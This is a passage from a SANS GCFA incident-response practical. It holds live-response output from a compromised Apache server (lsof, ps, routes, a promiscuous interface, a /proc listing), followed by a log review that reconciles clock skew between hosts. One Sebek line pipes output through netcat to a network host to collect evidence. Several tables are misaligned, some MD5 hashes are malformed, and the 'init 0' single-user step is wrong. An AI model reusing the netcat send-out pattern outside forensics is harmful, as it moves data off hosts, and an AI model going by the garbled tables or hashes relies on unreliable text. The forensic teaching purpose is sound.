<td>/usr/lib/apache/libmdm.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>9304</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/libmdm.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>9900</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/libmdm.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>8261</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/libmdm.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>10176</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/libmdm.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>92407</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/libmdm.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>11174</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/libmdm.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>122952</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/libmdm.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>210094</td>
<td>root</td>
<td>mem</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Access</th>
<th>Type</th>
<th>Size</th>
<th>Offset</th>
<th>File Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>11774</td>
<td>/lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>122952</td>
<td>/usr/lib/apache/libdav.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>210094</td>
<td>/usr/lib/apache/libssl.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1453190</td>
<td>/usr/lib/libcom_err.so.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>20666</td>
<td>/usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>29</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>65</td>
<td>/usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>83</td>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>40</td>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>5</td>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>292</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>22592</td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89424</td>
<td>/lib/libnsl-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1561021</td>
<td>/usr/lib/apache/libphp4.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>35340</td>
<td>/lib/libpam.so.0.75</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>28138</td>
<td>/usr/lib/libltdl.so.3.1.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>5300</td>
<td>/usr/lib/libpspell-modules.so.1.0.1</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>426442</td>
<td>/usr/lib/libstdc++-3-libc6.2-2.10.0.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>131560</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>59778</td>
<td>/usr/lib/libz.so.1.1.3</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>207008</td>
<td>/lib/libnss_files-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>215482</td>
<td>/usr/lib/libncurses.so.5.2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>290511</td>
<td>/usr/lib/libgmp.so.3.2.1</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>717774</td>
<td>/usr/lib/libgd.so.1.8.4</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>66646</td>
<td>/usr/lib/libcurl.so.2.0.2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>2457</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>26693</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>440048</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>42069</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>44992</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>45415</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>2457</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>137680</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1264225</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>427611</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>191615</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>48583</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>46117</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1401027</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1w</td>
<td>1,3</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>2w</td>
<td>1,3</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3u</td>
<td>1,3</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>4u</td>
<td>1,3</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>5u</td>
<td>1,3</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>15w</td>
<td>1,3</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>16u</td>
<td>1,3</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>17u</td>
<td>1,3</td>
<td>/dev/null</td>
</tr>
<tr>
<td>Process</td>
<td>User</td>
<td>Type</td>
<td>Permissions</td>
<td>Size</td>
<td>Path</td>
<td></td>
</tr>
<tr>
<td>---------</td>
<td>------</td>
<td>------</td>
<td>-------------</td>
<td>------</td>
<td>------</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>SW</td>
<td>REG</td>
<td>3,6</td>
<td>265</td>
<td>/var/log/httpd/access_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>SW</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
<td>/var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>minilogd</td>
<td>root</td>
<td>Dir</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/var/log/httpd/error_log</td>
</tr>
<tr>
<td>minilogd</td>
<td>root</td>
<td>Dir</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>minilogd</td>
<td>root</td>
<td>Reg</td>
<td>REG</td>
<td>3,5</td>
<td>8896</td>
<td>/var/log/httpd/access_log</td>
</tr>
<tr>
<td>minilogd</td>
<td>root</td>
<td>Dir</td>
<td>DIR</td>
<td>3,5</td>
<td>1401027</td>
<td>/lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>minilogd</td>
<td>root</td>
<td>CHR</td>
<td>REG</td>
<td>3,5</td>
<td>8192</td>
<td>/tmp/session_mm_apache0.sem (deleted)</td>
</tr>
<tr>
<td>weid</td>
<td>root</td>
<td>SW</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
<td>/var/log/httpd/access_log</td>
</tr>
<tr>
<td>weid</td>
<td>root</td>
<td>SW</td>
<td>REG</td>
<td>3,5</td>
<td>0</td>
<td>/var/log/httpd/ssl_request_log (deleted)</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>SW</td>
<td>REG</td>
<td>3,5</td>
<td>8192</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>SW</td>
<td>REG</td>
<td>3,5</td>
<td>8192</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
chmod 19796 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem
 chmod 19796 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
 chmod 19796 root 6u sock 0,0 0 550563 can't identify protocol
 chmod 19796 root 7r DIR 3,5 1024 20563 /tmp/pkg
 chmod 19796 root 8r DIR 3,5 2048 40961 /bin
 chmod 19796 root 9u REG 3,5 0 44198 /var/log/httpd/ssl_request_log
 chmod 19796 root 15w REG 3,6 1729 44202 /var/log/httpd/error_log
 chmod 19796 root 16u IPv4 361623 TCP *:https (LISTEN)
 chmod 19796 root 17u IPv4 361624 TCP *:http (LISTEN)
 chmod 19796 root 18w REG 3,6 0 44198 /var/log/httpd/access_log

USER    PID   %CPU   %MEM    VSZ   RSS   TTY   STAT   START   TIME   COMMAND
root    916  0.0    0.7  4600 892   ?    S    Jun23  0:00   sendmail: accepting connections
rpcuser  657  0.0  0.4  1556 600   ?    S    Jun23  0:00   rpc.statd
root    916  0.0    0.7  4600 892   ?    S    Jun23  0:00   sendmail: accepting connections

<table>
<thead>
<tr>
<th>Module</th>
<th>Size</th>
<th>Used by</th>
<th>Not tainted</th>
</tr>
</thead>
<tbody>
<tr>
<td>nls_iso8859-1</td>
<td>3488</td>
<td>1 (autoclean)</td>
<td></td>
</tr>
<tr>
<td>iptable_filter</td>
<td>2752</td>
<td>0 (autoclean)</td>
<td>(unused)</td>
</tr>
</tbody>
</table>
netstat-routes.txt

Kernel IP routing table

<table>
<thead>
<tr>
<th>Destination</th>
<th>Gateway</th>
<th>Genmask</th>
<th>Flags</th>
<th>MSS</th>
<th>Window</th>
<th>Itt</th>
<th>Iface</th>
</tr>
</thead>
<tbody>
<tr>
<td>192.168.2.0</td>
<td>0.0.0.0</td>
<td>255.255.255.0</td>
<td>U</td>
<td>40</td>
<td>0</td>
<td>0</td>
<td>eth0</td>
</tr>
<tr>
<td>127.0.0.0</td>
<td>0.0.0.0</td>
<td>255.0.0.0</td>
<td>U</td>
<td>40</td>
<td>0</td>
<td>0</td>
<td>lo</td>
</tr>
<tr>
<td>0.0.0.0</td>
<td>192.168.2.1</td>
<td>0.0.0.0</td>
<td>UG</td>
<td>40</td>
<td>0</td>
<td>0</td>
<td>eth0</td>
</tr>
</tbody>
</table>

ifconfig.txt

eth0  
Link encap:Ethernet  HWaddr 00:50:8B:0D:50:56  
inet addr:192.168.2.15  Bcast:192.168.2.255  Mask:255.255.255.0  
UP BROADCAST RUNNING PROMISC MULTICAST  MTU:1500  Metric:1  
RX packets:56788  errors:0  dropped:0  overruns:0  frame:1  
TX packets:94732  errors:0  dropped:0  overruns:0  carrier:0  
collisions:3023  txqueuelen:100  
RX bytes:11574349 (11.0 Mb)  TX bytes:15015679 (14.3 Mb)  
Interrupt:11  Base address:0x1000

eth1  
Link encap:Ethernet  HWaddr 00:90:27:89:8E:64  
BROADCAST MULTICAST  MTU:1500  Metric:1  
RX packets:0  errors:0  dropped:0  overruns:0  frame:0  
TX packets:0  errors:0  dropped:0  overruns:0  carrier:0  
collisions:0  txqueuelen:100  
RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)  
Interrupt:11  Base address:0x3000

lo  
Link encap:Local Loopback  
inet addr:127.0.0.1  Mask:255.0.0.0  
UP LOOPBACK RUNNING  MTU:16436  Metric:1  
RX packets:353  errors:0  dropped:0  overruns:0  frame:0  
TX packets:353  errors:0  dropped:0  overruns:0  carrier:0  
collisions:0  txqueuelen:0  
RX bytes:44009 (42.9 Kb)  TX bytes:44009 (42.9 Kb)

Proc-filesystem.txt

total 1  
dr-xr-xr-x 130 root root 0 Jun 23 05:58 .  
drwxr-xr-x 20 root root 1024 Jun 29 15:22 ..  
dr-xr-xr-x 3 root root 0 Jun 30 17:29 1  
dr-xr-xr-x 3 xfs xfs 0 Jun 30 17:29 1005  
dr-xr-xr-x 3 daemon daemon 0 Jun 30 17:29 1041  
dr-xr-xr-x 3 root root 0 Jun 30 17:29 1050  
dr-xr-xr-x 3 root root 0 Jun 30 17:29 1051  

As part of GIAC practical repository.  
Author retains full rights.
Kevin Miller - Sans GCFA Assignment – v1.4

Dr-xr-xr-x 3 root root 0 Jun 30 17:29 1052
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 1053
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 1054
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 1055
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 1056
Dr-xr-xr-x 3 apache apache 0 Jun 30 17:29 10606
Dr-xr-xr-x 3 apache apache 0 Jun 30 17:29 10607
Dr-xr-xr-x 3 apache apache 0 Jun 30 17:29 10608
Dr-xr-xr-x 3 apache apache 0 Jun 30 17:29 10609
Dr-xr-xr-x 3 apache apache 0 Jun 30 17:29 10610
Dr-xr-xr-x 3 apache apache 0 Jun 30 17:29 10611
Dr-xr-xr-x 3 apache apache 0 Jun 30 17:29 10612
Dr-xr-xr-x 3 apache apache 0 Jun 30 17:29 10613
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 1066
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 1067
Dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 1091
Dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 1175
Dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 1178
Dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 1181
Dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 1183
Dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 1192
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 12
Dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 1203
Dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 1208
Dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 1210
Dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 1211
Dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 1217
Dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 1219
Dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 1223
Dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 1226
Dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 1228
Dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 1230
Dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 1232
Dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 1234
Dr-xr-xr-x 3 root userid1 0 Jun 30 17:29 1266
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 1269
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 186
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 187
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 188
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 189
Dr-xr-xr-x 3 apache apache 0 Jun 30 17:29 19365
Dr-xr-xr-x 3 apache apache 0 Jun 30 17:29 19366
Dr-xr-xr-x 3 apache apache 0 Jun 30 17:29 19367
Dr-xr-xr-x 3 apache apache 0 Jun 30 17:29 19368
Dr-xr-xr-x 3 apache apache 0 Jun 30 17:29 19369
Dr-xr-xr-x 3 apache apache 0 Jun 30 17:29 19370
Dr-xr-xr-x 3 apache apache 0 Jun 30 17:29 19371
Dr-xr-xr-x 3 apache apache 0 Jun 30 17:29 19372
Dr-xr-xr-x 3 apache apache 0 Jun 30 17:29 19373
Dr-xr-xr-x 3 apache apache 0 Jun 30 17:29 19374
Dr-xr-xr-x 3 apache apache 0 Jun 30 17:29 19375
Dr-xr-xr-x 3 apache apache 0 Jun 30 17:29 19376
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 19635
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 19678
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 19685
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 19686
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 19796
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 19798
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 19810
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 19811
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 19815
Dr-xr-xr-x 3 apache apache 0 Jun 30 17:29 19936
Dr-xr-xr-x 3 apache apache 0 Jun 30 17:29 19941
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 2
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 20057
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 20058
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 20078
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 20079
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 27173
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 27174
Dr-xr-xr-x 3 root root 0 Jun 30 17:29 28978
Kevin Miller - Sans GCFA Assignment – v1.4
Page 176

```
dr-xr-xr-x  3 root  root  0 Jun 30 17:29 28979
-dr-xr-xr-x  3 userid1 userid1 0 Jun 30 17:29 28981
-dr-xr-xr-x  3 userid1 userid1 0 Jun 30 17:29 28983
-dr-xr-xr-x  3 root  userid1 0 Jun 30 17:29 29021
-dr-xr-xr-x  3 root  root  0 Jun 30 17:29 29024
-dr-xr-xr-x  3 userid1 userid1 0 Jun 30 17:29 29110
-dr-xr-xr-x  3 userid1 userid1 0 Jun 30 17:29 29120
-dr-xr-xr-x  3 userid1 userid1 0 Jun 30 17:29 29122
-dr-xr-xr-x  3 userid1 userid1 0 Jun 30 17:29 29124
-dr-xr-xr-x  3 userid1 userid1 0 Jun 30 17:29 29125
-dr-xr-xr-x  3 userid1 userid1 0 Jun 30 17:29 29129
-dr-xr-xr-x  3 userid1 userid1 0 Jun 30 17:29 29132
-dr-xr-xr-x  3 userid1 userid1 0 Jun 30 17:29 29133
-dr-xr-xr-x  3 userid1 userid1 0 Jun 30 17:29 29134
-dr-xr-xr-x  3 root  root  0 Jun 30 17:29 29136
-dr-xr-xr-x  3 root  root  0 Jun 30 17:29 29137
-dr-xr-xr-x  3 root  root  0 Jun 30 17:29 29165
-dr-xr-xr-x  3 root  root  0 Jun 30 17:29 29222
-dr-xr-xr-x  3 root  root  0 Jun 30 17:29 29223
-dr-xr-xr-x  3 root  root  0 Jun 30 17:29 3
-dr-xr-xr-x  3 root  root  0 Jun 30 17:29 4
-dr-xr-xr-x  3 root  root  0 Jun 30 17:29 5
-dr-xr-xr-x  3 root  root  0 Jun 30 17:29 6
-dr-xr-xr-x  3 userid1 userid1 0 Jun 30 17:29 6133
-dr-xr-xr-x  3 userid1 root  0 Jun 30 17:29 6135
-dr-xr-xr-x  3 rpcuser rpcuser 0 Jun 30 17:29 657
-dr-xr-xr-x  3 root  root  0 Jun 30 17:29 7
-dr-xr-xr-x  3 userid1 userid1 0 Jun 30 17:29 7168
-dr-xr-xr-x  3 userid1 userid1 0 Jun 30 17:29 7170
-dr-xr-xr-x  3 root  userid1 0 Jun 30 17:29 7203
-dr-xr-xr-x  3 root  root  0 Jun 30 17:29 7206
-dr-xr-xr-x  3 root  root  0 Jun 30 17:29 770
-dr-xr-xr-x  3 ntp ntp  0 Jun 30 17:29 790
-dr-xr-xr-x  3 root  root  0 Jun 30 17:29 8
-dr-xr-xr-x  3 root  root  0 Jun 30 17:29 8125
-dr-xr-xr-x  3 root  root  0 Jun 30 17:29 8154
-dr-xr-xr-x  3 root  root  0 Jun 30 17:29 842
-dr-xr-xr-x  3 root  root  0 Jun 30 17:29 875
-dr-xr-xr-x  3 root  root  0 Jun 30 17:29 91
-dr-xr-xr-x  3 root  root  0 Jun 30 17:29 916
-dr-xr-xr-x  3 root  root  0 Jun 30 17:29 935
-dr-xr-xr-x  3 root  root  0 Jun 30 17:29 953
-r--r--r--  1 root  root  0 Jun 30 17:29 aprm
-dr-xr-xr-x  4 root  root  0 Jun 23 11:58 bus
-rwxr--r--  1 root  root  0 Jun 30 17:29 cmdline
-rwxr--r--  1 root  root  0 Jun 30 17:29 cpuinfo
-rwxr--r--  1 root  root  0 Jun 30 17:29 devices
-rwxr--r--  1 root  root  0 Jun 30 17:29 dma
-dr-xr-xr-x  2 root  root  0 Jun 30 17:29 driver
-rwxr--r--  1 root  root  0 Jun 30 17:29 exedomains
-rwxr--r--  1 root  root  0 Jun 30 17:29 fb
-rwxr--r--  1 root  root  0 Jun 30 17:29 filesystems
-dr-xr-xr-x  2 root  root  0 Jun 30 17:29 fs
-dr-xr-xr-x  4 root  root  0 Jun 30 17:29 ide
-rwxr--r--  1 root  root  0 Jun 30 17:29 interrupts
-rwxr--r--  1 root  root  0 Jun 30 17:29 iomem
-rwxr--r--  1 root  root  0 Jun 30 17:29 ioports
-rwxr--r--  18 root  root  Jun 30 17:29 irq
-r--------  1 root  root  134221824 Jun 30 17:29 kcore
-r--------  1 root  root  0 Jun 30 17:29 kmsg
-r--------  1 root  root  0 Jun 30 17:29 ksysms
-r--------  1 root  root  0 Jun 30 17:29 loadavg
-r--------  1 root  root  0 Jun 30 17:29 locks
-r--------  1 root  root  0 Jun 30 17:29 mdstat
-r--------  1 root  root  0 Jun 30 17:29 meminfo
-r--------  1 root  root  0 Jun 30 17:29 misc
-r--------  1 root  root  0 Jun 30 17:29 modules
-rwxrwxr-xrwx  1 root  root  11 Jun 30 17:29 mounts -> self/mounts
-rwxr--r--  1 root  root  66 Jun 23 12:00 mtrr
-dr-xr-xr-x  3 root  root  0 Jun 30 17:29 net
-r--------  1 root  root  0 Jun 30 17:29 partitions
```
Kevin Miller - Sans GCFA Assignment – v1.4  Page 177

-r--r--r-- 1 root root 0 Jun 30 17:29 pci
-r--r--r-- 1 root root 64 Jun 30 16:44 self -> 29222
-r--r--r-- 1 root root 0 Jun 30 17:29 slabinfo
-r--r--r-- 1 root root 0 Jun 30 17:29 stat
-r--r--r-- 1 root root 0 Jun 30 17:29 swaps
dr-xr-xr-x 10 root root 0 Jun 30 17:29 sys
dr-xr-xr-x 2 root root 0 Jun 30 17:29 sysvipc
dr-xr-xr-x 4 root root 0 Jun 30 17:29 tty
-r--r--r-- 1 root root 0 Jun 30 17:29 uptime
-r--r--r-- 1 root root 0 Jun 30 17:29 version

stoptime.txt

Mon Jun 30 17:31:02 CST 2003

Live-response-june30.md5

df2abab55743c9e230e36930ea38bbab *ifconfig.txt
5fa0917f700a220d79c126cad2de36f4 *lsmod.txt
232cb0b32469842e965b877a0deec06a 1sof.txt
6c1fc3e61d32283a0685464230cdfefb *netstat-routes.txt
662e13363bc2f0600e62802ab0c0f09a *netstat-sockets.txt
345ad946355ca8cc82323d5cf576ec8f3 *proc-filelist.txt
b3a82cc22339e0b46157ea700d6564b1 *ps.txt
2117efa19b00e242c2ad902fc4dbeaa7 *starttime.txt
4987992ca38fbc2130a01f4ba5b7f8c84 *stoptime.txt
5e344d4b030b44f1b0cc4b415b649293 *w.txt

© SANS Institute 2004, Author retains full rights.
As part of GIAC practical repository. Author retains full rights.
Appendix E

Log File review

The log analysis consisted of analyzing the evidence from CDROM, Tag item #05. The log files were from the snort host, sebek log host and a dd image of the var partition from the central log server. MD5 hashes were included for each file on the CDROM.

It was noted that the evidence from the central log server was not gathered until October. The log rotation on the log server had over written the logs from June 29, 2003. To recover the deleted log file evidence the following was done:

1. The server was booted into single user mode with init 0.
2. At the root prompt the /var partition was imaged to a file with the following command:
   a. `dd if=/dev/ida/c0d0p7 of=/root/varddimage bs=1024 conv=noerror,notrunc,sync`
3. The image was compressed using gzip and an MD5 checksum done of the file. The file was then burned to CDROM.

The varddimage.gz was copied to forensic workstation and the MD5 checksum verified. The varddimage.gz file was uncompressed, previewed, acquired and verified using EnCase.

To search the slack space, a new keyword or ‘June 29’ was entered into EnCase under the keyword tab. A search was done using the new keyword. The recovered log evidence was analyzed and used to verify evidence found on the victim machine. Refer to the EnCase report (Appendix F – “Var partition from Logserver”) for the complete list of recovered log files.

The difference in times between the various hosts created a problem. Date and time mismatches existed between the victim system, firewall, logserver, snort host and sebek host. The log server was configured to use ntp. Sebek packets from the victim, showed a mixture of non-sequential dates including some dates in 1971. The mismatched date and time stamps from the sebek logs pointed to possible date manipulation by the attacker on the victim machine.

To reconcile time differences the logs were reviewed looking for unique events. Unique log events were used to identify the time differences between the hosts. The time delta was then calculated using these unique events.

The snort host time was behind the firewall time by 8 minutes 25 seconds. The firewall recorded logs to the central log server.
Firewall log from log server;

```
Jun 29 15:50:35 192.168.1.1 id=firewall time="2003-06-29 15:50:35"
fw="GNAT-Box" pri=6 flt_type=OBF flt_action=pass msg="Received (3)"
rule=3 proto=251 src=192.168.2.15 srcport=1274 dst=XXX.XXX.42.58
dstport=251 interface=sis2 flags=0x2
```

Tcpdump from snort host;

```
15:42:10.704332 192.168.2.15.1274 > XXX.XXX.42.58.251: S
904588511:904588511(0) win 5840 <mss 1460,sackOK,timestamp 53240532
0,nop,wscale 0> (DF)
```

The live response procedure provided a correction time for the Sebek event log. The start time from the live response from the victim machine was 17:18:51, the sebek time for the same event was 23:06:09 and the time of the event from the tcpdump log was 17:10:23.

The snort host was used as the reference time. Following this, it was determined that:

- The victim machine was 8 minutes 28 seconds ahead of the snort host.
- The Sebek logs were 5 hours 55 minutes and 46 seconds ahead of the snort host.
- The Sebek logs were 5 hours 47 minutes and 18 seconds ahead of the victim machine.

Starttime from Live response;

```
Mon Jun 30 17:18:51 CST 2003
```

Sebek log event for recording starttime for live response;

```
23:06:09-2003/06/30 [0:sh:29165:pts:0]/mnt/cdrom/date | /mnt/cdrom/mc**nc 192.168.2.120 1111
```

